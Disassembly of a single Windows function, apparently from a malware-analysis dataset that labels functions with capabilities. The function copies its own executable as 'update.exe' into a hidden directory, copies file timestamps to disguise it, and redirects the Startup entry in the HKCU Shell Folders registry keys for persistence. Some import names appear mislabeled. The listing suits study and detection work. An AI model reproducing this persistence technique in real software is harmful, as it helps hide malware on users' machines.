Function at 0x402490
Capabilities:
Copy file
Create directory
Get common file path
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
mov eax, 0x12c0
call fcn.00403d10
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x12bc], eax
push ebx
push ebp
push esi
push edi
push 0x206
xor ebp, ebp
lea ecx, [esp + 0xcba]
xor eax, eax
push ebp
push ecx
mov word [esp + 0xcc0], ax
call fcn.00403bf0
push 0x206
lea eax, [esp + 0x10d6]
xor edx, edx
push ebp
push eax
mov word [esp + 0x10dc], dx
call fcn.00403bf0
push 0x206
lea edx, [esp + 0xeda]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xee0], cx
call fcn.00403bf0
push 0x206
lea ecx, [esp + 0x4be]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x4c4], ax
call fcn.00403bf0
push 0x206
lea eax, [esp + 0x8da]
xor edx, edx
push ebp
push eax
mov dword [esp + 0x4c], ebp
mov word [esp + 0x8e0], dx
call fcn.00403bf0
push 0x206
lea edx, [esp + 0x6de]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0x6e4], cx
call fcn.00403bf0
add esp, 0x48
push 0x206
lea ecx, [esp + 0xab2]
xor eax, eax
push ebp
push ecx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x104
mov word [esp + 0xab8], ax
call fcn.00403bf0
push 0x208
lea edx, [esp + 0x29c]
push ebp
push edx
mov dword [esp + 0x2c], ebp
call fcn.00403bf0
add esp, 0x18
push ebp
push 0x1c
lea eax, [esp + 0x294]
push eax
push ebp
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [esp + 0x28c]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x4025c6
mov ecx, dword [str.Start]
mov edx, dword [0x40d4d8]
mov dword [eax], ecx
mov ecx, dword [0x40d4dc]
mov dword [eax + 4], edx
mov dx, word [0x40d4e0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x28c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x402601
sub eax, edx
push 0x208
sar eax, 1
lea ecx, [esp + 0x10c8]
add eax, eax
push ebp
push ecx
mov dword [esp + 0x24], eax
call fcn.00403bf0
add esp, 0xc
xor eax, eax
mov edi, edi
movzx ecx, word [eax + str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders]
mov word [esp + eax + 0x10c4], cx
add eax, 2
cmp cx, bp
jne 0x402630
push 0x208
lea edx, [esp + 0xec0]
push ebp
push edx
call fcn.00403bf0
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [eax + str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders]
mov word [esp + eax + 0xebc], cx
add eax, 2
cmp cx, bp
jne 0x402660
push 0x208
lea eax, [esp + 0x498]
push ebp
push eax
call fcn.00403bf0
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [eax + str.Startup]
mov word [esp + eax + 0x494], cx
add eax, 2
cmp cx, bp
jne 0x402690
push 0x208
lea ecx, [esp + 0x8a8]
push ebp
push ecx
call fcn.00403bf0
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [esp + eax + 0x28c]
mov word [esp + eax + 0x8a4], cx
add eax, 2
cmp cx, bp
jne 0x4026c0
lea eax, [esp + 0x8a4]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x4026e2
mov edx, dword [str.update.exe]
mov ecx, dword [0x40d398]
mov dword [eax], edx
mov edx, dword [0x40d39c]
mov dword [eax + 4], ecx
mov ecx, dword [0x40d3a0]
mov dword [eax + 8], edx
mov edx, dword [0x40d3a4]
mov dword [eax + 0xc], ecx
mov ecx, dword [0x40d3a8]
mov dword [eax + 0x10], edx
lea edx, [esp + 0x3c]
mov dword [eax + 0x14], ecx
push edx
lea eax, [esp + 0x8a8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x4028b9
push 0x208
lea ecx, [esp + 0xab0]
push ebp
push ecx
call fcn.00403bf0
add esp, 0xc
push 0x104
lea edx, [esp + 0xab0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 0xaac]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x402772
push ebp
push 0x80
push 3
push ebp
push 1
mov ecx, 7
mov esi, 0x40d378
push 0x80000000
lea eax, [esp + 0xac4]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4027d4
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
mov dword [esp + 0x18], eax
call ebx
push ebp
lea ecx, [esp + 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea edx, [esp + 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
push 0x80
push 3
push ebp
push 3
push 0xc0000000
lea eax, [esp + 0x2a4]
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, 0xffffffff
je 0x402833
cmp dword [esp + 0x14], 0
je 0x402833
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x34]
push eax
push esi
call ebp
push esi
call ebx
push 0x208
lea ecx, [esp + 0xcb8]
push 0
push ecx
call fcn.00403bf0
add esp, 0xc
push 0x104
lea edx, [esp + 0xcb8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
lea eax, [esp + 0x8a8]
push eax
lea ecx, [esp + 0xcbc]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea edx, [esp + 0x8bc]
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4028b6
cmp dword [esp + 0x14], 0
je 0x4028b6
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x34]
push edx
push esi
call ebp
push esi
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x10d0]
push ecx
push 0x80000001
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x402996
push 0x208
lea edx, [esp + 0x6a0]
push 0
push edx
call fcn.00403bf0
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x6a0]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0x4a4]
push eax
push ecx
call edi
lea ecx, [esp + 0x28c]
lea eax, [esp + 0x69c]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402966
test dx, dx
je 0x402962
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402966
add eax, 4
add ecx, 4
test dx, dx
jne 0x402940
xor eax, eax
jmp 0x40296b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40298f
mov edx, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x290]
push eax
push 1
push 0
lea ecx, [esp + 0x4a4]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x10]
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0xec8]
push edx
push 0x80000001
call esi
test eax, eax
jne 0x402a56
push 0x208
push eax
lea eax, [esp + 0x6a4]
push eax
call fcn.00403bf0
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x6a0]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x4a4]
push ecx
push edx
call edi
lea ecx, [esp + 0x28c]
lea eax, [esp + 0x69c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402a26
test dx, dx
je 0x402a22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402a26
add eax, 4
add ecx, 4
test dx, dx
jne 0x402a00
xor eax, eax
jmp 0x402a2b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402a4f
mov eax, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x290]
push ecx
push 1
push 0
lea edx, [esp + 0x4a4]
push edx
push eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
call ebp
mov ecx, dword [esp + 0x12cc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00403be0
add esp, 0x12c0
ret